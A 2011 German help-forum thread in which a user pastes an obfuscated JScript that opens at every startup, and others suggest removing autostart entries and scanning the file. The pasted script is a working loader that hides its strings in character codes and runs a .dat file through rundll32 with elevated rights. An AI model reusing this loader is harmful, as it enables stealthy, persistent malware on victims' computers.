Autostart!

MysticSun · 10. Januar 2011

Hallo,
Ich habe seit einigen ein Problem,unzwar wenn ich mein PC starte öffnet sich mein Editor und da steht folgendes drin.

Spoiler anzeigen

var w = String.fromCharCode(83)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(108)+String.fromCharCode(108)+String.fromCharCode(46)+String.fromCharCode(65)+String.fromCharCode(112)+String.fromCharCode(112)+String.fromCharCode(108)+String.fromCharCode(105)+String.fromCharCode(99)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(105)+String.fromCharCode(111)+String.fromCharCode(110);
var a = String.fromCharCode(67)+String.fromCharCode(58)+String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(87)+String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(119)+String.fromCharCode(115)+String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(115)+String.fromCharCode(121)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(109)+String.fromCharCode(51)+String.fromCharCode(50)+String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(114)+String.fromCharCode(117)+String.fromCharCode(110)+String.fromCharCode(100)+String.fromCharCode(108)+String.fromCharCode(108)+String.fromCharCode(51)+String.fromCharCode(50)+String.fromCharCode(46)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(101)+String.fromCharCode(32);
var s = String.fromCharCode(67)+String.fromCharCode(58)+String.fromCharCode(92)+String.fromCharCode(80)+String.fromCharCode(82)+String.fromCharCode(79)+String.fromCharCode(71)+String.fromCharCode(82)+String.fromCharCode(65)+String.fromCharCode(126)+String.fromCharCode(51)+String.fromCharCode(92)+String.fromCharCode(110)+String.fromCharCode(105)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(115)+String.fromCharCode(117)+String.fromCharCode(98)+String.fromCharCode(101)+String.fromCharCode(98)+String.fromCharCode(120)+String.fromCharCode(46)+String.fromCharCode(100)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(44)+String.fromCharCode(82)+String.fromCharCode(117)+String.fromCharCode(110)+String.fromCharCode(65)+String.fromCharCode(115);
var m = String.fromCharCode(114)+String.fromCharCode(117)+String.fromCharCode(110)+String.fromCharCode(97)+String.fromCharCode(115);
var activex = new ActiveXObject(w);
activex.ShellExecute(a,s,"",m,1);
WScript.Sleep(2000);
var r = String.fromCharCode(87)+String.fromCharCode(83)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(83)+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(108)+String.fromCharCode(108);
var WSHShell = WScript.CreateObject(r);
WSHShell.Run(a+s);

Also ich sehe ,dass iwas ausgeführt wird (WSHShell.Run(..))
Könnt ihr damit mehr anfangen.

Im Autostart ist eine Datei namens simaso64

Bild :

Hoffe auf Hilfe !

Danke

siedenburg · 10. Januar 2011

entferne doch alle autostart einträge, die dir nichts zusagen.

ich habe z.b. nur
Avira
Ati Catalyst
und Soundpanel

bei mir drinne. die datei könnt n keylogger sein.

MysticSun · 10. Januar 2011

ja hab ich ja jetzt gemacht..wollte nur gerne wissen,was das "Programm" macht

HigH265 · 11. Januar 2011

Der Pfad ist ja angegeben, kannst sie ja auch mal auf www.virustotal.com hochladen und überprüfen lassen.

Google hilft wenig beim Namen.

Teilen